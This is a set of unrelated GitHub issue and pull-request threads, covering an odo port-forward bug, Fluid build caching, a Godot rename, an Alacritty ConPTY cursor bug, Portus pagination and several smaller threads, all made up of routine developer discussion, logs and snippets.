"odo debug port-foward" should fail if the application is not running in the pod

[kind/bug]

What versions of software are you using?

Operating System: all
Output of odo version: master

How did you run odo exactly?

odo push'd the nodejs-ex example
Did odo debug port-forward unbeknownst of the fact that nodejs application had stopped running on the remote pod. Found this when URL for the component lead to "Application is not running" page.

Actual behavior
odo debug port-forward starts showing error when I tried to connect to port 5858 through VS Code debugger
Expected behavior
odo debug port-forward should throw an error when setting up port-forward to an application that's stopped working.
Any logs, error output, etc?
The errors below start showing only when we try to connect the debugger. The only output printed when doing odo debug port-forward is Started port forwarding at ports - 5858:5858.
$ odo debug port-forward
Started port forwarding at ports - 5858:5858
E0930 17:16:32.847229   24903 portforward.go:331] an error occurred forwarding 5858 -> 5858: error forwarding port 5858 to pod fa2cdd229a134361f305334cb6e6341926f2f26263e35552a504862c6c55e90d, uid : exit status 1: 2019/09/30 11:46:32 socat[22697] E connect(6, AF=2 <IP_ADDRESS>:5858, 16): Connection refused
E0930 17:16:35.114477   24903 portforward.go:331] an error occurred forwarding 5858 -> 5858: error forwarding port 5858 to pod fa2cdd229a134361f305334cb6e6341926f2f26263e35552a504862c6c55e90d, uid : exit status 1: 2019/09/30 11:46:35 socat[22705] E connect(6, AF=2 <IP_ADDRESS>:5858, 16): Connection refused
E0930 17:16:35.115332   24903 portforward.go:331] an error occurred forwarding 5858 -> 5858: error forwarding port 5858 to pod fa2cdd229a134361f305334cb6e6341926f2f26263e35552a504862c6c55e90d, uid : exit status 1: 2019/09/30 11:46:35 socat[22704] E connect(6, AF=2 <IP_ADDRESS>:5858, 16): Connection refused
E0930 17:16:35.124438   24903 portforward.go:331] an error occurred forwarding 5858 -> 5858: error forwarding port 5858 to pod fa2cdd229a134361f305334cb6e6341926f2f26263e35552a504862c6c55e90d, uid : exit status 1: 2019/09/30 11:46:35 socat[22706] E connect(6, AF=2 <IP_ADDRESS>:5858, 16): Connection refused
E0930 17:16:35.357695   24903 portforward.go:331] an error occurred forwarding 5858 -> 5858: error forwarding port 5858 to pod fa2cdd229a134361f305334cb6e6341926f2f26263e35552a504862c6c55e90d, uid : exit status 1: 2019/09/30 11:46:35 socat[22707] E connect(6, AF=2 <IP_ADDRESS>:5858, 16): Connection refused

Actually if port-forward fails when component is not running then that would make the user experience not so great between odo pushs. Because the user would have to again and again run port-forward between pushes as there is a moment when the component is not running.
This would also increase the complexity for the vs-code plugin because they would have to rerun the port-forward sub-process everytime a push happens.

I think I'm trying to have a check to ensure that the component is running when odo debug port-forward is run for the first time. Once it has started, there could be a situation like the one you have mentioned where component would be off for a brief time. If that is something that needs to be addressed is a secondary thing IMO.
For this issue, I think, the goal is that when odo debug port-forward is triggered from the CLI or by VS Code for the first time, there should be a mechanism to tell the user that the remote component is not running.
Does that make sense or is that not a valid thing to aim for?

For this issue, I think, the goal is that when odo debug port-forward is triggered from the CLI or by VS Code for the first time, there should be a mechanism to tell the user that the remote component is not running.
Does that make sense or is that not a valid thing to aim for?

That makes sense. But I'm not sure if this is what we want.
Is it really so confusing when port-forward command executes without and error, and then it starts throwing errors when something wants to communicate?
I can see situations where setting up port-forward beforehand can be useful,and it might be limiting to condition port-forward with the requirement that the application has to be running.
Maybe we could just show a warning when port-forward is executed before component is running?
/kind feature
/area debug
/priority low

Maybe we could just show a warning when port-forward is executed before component is running?

A warning would be good enough but the debug session thus started is still useless, IIUC. User would have to start the component and then start the debug session for the debug session to be of any use.

Is it really so confusing when port-forward command executes without and error, and then it starts throwing errors when something wants to communicate?

More than the confusion, I think it's about usability. A debug session started for a component that's not running is of no practical use, no?

/remove-lifecycle stale

@mik-dass Can you share your thoughts on this from devfile v2 point of view?

@mik-dass Can you share your thoughts on this from devfile v2 point of view?

I think this issue is valid from the point of view of devfile v2 too.


Property demos breaking incremental build

I'm seeing the following build/pack every time using npm run build:fast despite no changes:

@fluid-experimental/schemas
@fluid-experimental/property-inspector
@fluid-experimental/property-inspector-table
@fluid-experimental/partial-checkout

I looked briefly and noticed the following that seemed suspicious, but couldn't find an immediate fix:

schemas and property-inspector-table specify "baseUrl": "." in their tsconfig.json, which most of our packages do not
schemas has a /built checked in that doesn't seem to be build output (the normal build outputs to /dist).  Maybe this was just a mistake?
Lots of import cycles in these packages (e.g. schemas index.ts <-> schemasRegisterer.ts)

Hoping someone more familiar with the build/pack of these can take a look.

@DLehenbauer @arno-123 Do you have suggestions for who can look at this more closely?

I'll take it.

@nedalhy PTAL

It's 100% us. :)
Fix in #6326.

Reopening, this is still happening in recent main.

@DLehenbauer FYI

@ruiterr
@nedalhy
@karlbom
@evaliyev

I suspect we just haven't released a new official version in a while.  I can publish and move us to a prerelease of 'fluid-tools' this afternoon.
@ChumpChief - In the meantime, this should work:
pushd tools/build-tools
npm run build
popd
node tools/build-tools/dist/fluidBuild/fluidBuild.js

Thanks Daniel, that seems to be the case, workaround works for me.

Fixed.


Automate fee rate calculation

Bringing this back to life we now have the fee endpoint
It would be nice to have a sliding option to select fee rate
https://btc.indexer.angor.io/api/stats/fee?confirmations=1&confirmations=5&confirmations=10
example response.
{"fees":[{"confirmations":1,"feeRate":28218},{"confirmations":5,"feeRate":21033},{"confirmations":10,"feeRate":10048}]}


Rename speed to velocity when it's a directional Vector

As identified by @EricEzaM in #42450, "speed is a scalar quantity, and is the magnitude of velocity. In godot, when speed is represented as a vector, it is actually a velocity since it represents both magnitude and direction."
This PR changes those instances of speed to velocity when they refer to a directional Vector.
Closes #42450.

Thanks!


Revert "Updated the sel poller functionality to comply with ORFS-250"

Reverts RackHD/on-tasks#317
Apparently the sel get command introduced by this PR doesn't seem to work on intel nodes, so we might want a revert for now until we figure out a solution.
@RackHD/corecommitters @gpaulos @pscharla @tannoa2

Tagging @zyoung51 since @tannoa2 is handing off work while he is on vacation

:+1:

:+1:


Release of 2.2.2

Hi,
would you be so kind and release 2.2.2?
Or is there any way I could use -SNAPSHOT or development builds in my build.gradle projects?
Thx and greets,
Peter

Done.


Add an option --separate-relative

To support separate relative imports from other local imports
with an new line.
Closes #20.

Coverage remained the same at 100.0% when pulling b1e0bd19e25dee208aa66149c27c84658796cad9 on coldnight:master into 2bff31275b3a2fef7d75989ae60e57f1a8616ed6 on asottile:master.

Thanks for the PR! I'll make a new release!


Use https in .fixtures.yml URI to allow testing behind a proxy

:+1:

Thank you for a pull request! Please check this document for how the Jenkins project handles pull requests

@tosmi Would you mind rebasing this change so I can cleanly merge it? LGTM otherwise

i've rebased my fixtures branch on the current master. looks good to me now.
thanks


Text cursor jumping to start of terminal window with ConPty / powershell

Which operating system does the issue occur on? Windows10.0.17763, tested on a672f7d with default config and ConPty enabled.
Here's a trace for a single keystroke, not sure if this actually relevant but it looks like ShowCursor is being set before the cursor is restored to its original position:
....
[2019-03-19 16:36] [TRACE] [src\term\mod.rs:1506] Going to: line=3, col=2
--> single keystroke here
[2019-03-19 16:36] [TRACE] [src\term\mod.rs:2062] Unsetting mode: ShowCursor
[2019-03-19 16:36] [TRACE] [src\term\mod.rs:1506] Going to: line=0, col=0
[2019-03-19 16:36] [TRACE] [src\term\mod.rs:2022] Setting mode: ShowCursor
[2019-03-19 16:36] [TRACE] [src\term\mod.rs:2062] Unsetting mode: ShowCursor
[2019-03-19 16:36] [TRACE] [src\term\mod.rs:1991] Setting attribute: Foreground(Named(BrightYellow))
[2019-03-19 16:36] [TRACE] [src\term\mod.rs:1506] Going to: line=3, col=2
[2019-03-19 16:36] [TRACE] [src\term\mod.rs:1991] Setting attribute: Reset
[2019-03-19 16:36] [TRACE] [src\term\mod.rs:1650] Backspace
[2019-03-19 16:36] [TRACE] [src\term\mod.rs:2022] Setting mode: ShowCursor

The cursor flickers at the first character position of the terminal every keystroke. It seems to also occur when I use cmd.exe as the default shell, but very infrequently. Full log is attached (startup followed by a single keystroke).
Alacritty-8188.log

When you start Alacritty with alacritty -v, does it actually say that the ConPTY has been successfully enabled? Also is this reproducible on WinPTY?
If cmd.exe behaves the same way here, I'm not sure if there's anything we can do about it. It might just be a shell issue and should be reported to the shell.

Yes, I used alacritty -vvv to generate the attached log, it has the line [2019-03-19 16:36] [INFO] Using Conpty agent printed. I don't notice any flickering while using WinPTY. Would be interested to know if this is repro for other people or some issue on my end.

This is a known ConPTY issue with the Windows 10 October 2019 update. It's been fixed by Microsoft and is already available in Insider's builds. I expect it will be released to the general public in Windows 10 19H1 update.

Thanks for the update on this @davidhewitt. Closing as resolved upstream.


Pagination doesn't work in pages with more than one pagination

The current pagination helper uses page as GET parameter. When the page contains more than one paginations, this parameter is changed in the controller and the pagination doesn't work anymore :(
For example, in teams_controller#show the used parameters are users_pageand namespaces_page:
def show
  raise ActiveRecord::RecordNotFound if @team.hidden?

  authorize @team
  @team_users = @team.team_users.enabled.page(params[:users_page]).per(10)
  @team_namespaces = @team.namespaces.page(params[:namespaces_page]).per(15)
end

And the rendered pagination are:

1

2

Next ›

Last »

I don't know which lib is used to do pagination in Portus but maybe this lib have an option to change the parameter's name.

I don't know which lib is used to do pagination in Portus but maybe this lib have an option to change the parameter's name.

The gem is called kaminari, and we are already doing that. See in the teams#show view:
  .panel-footer= paginate(@team_namespaces, param_name: 'namespaces_page')

Let me investigate.

Moreover, it works for me :smile:. Could you tell how you were able to reproduce it ? As in, how many teams you created, team members, etc.

I guess this is not a valid bug anymore, so I'm closing it.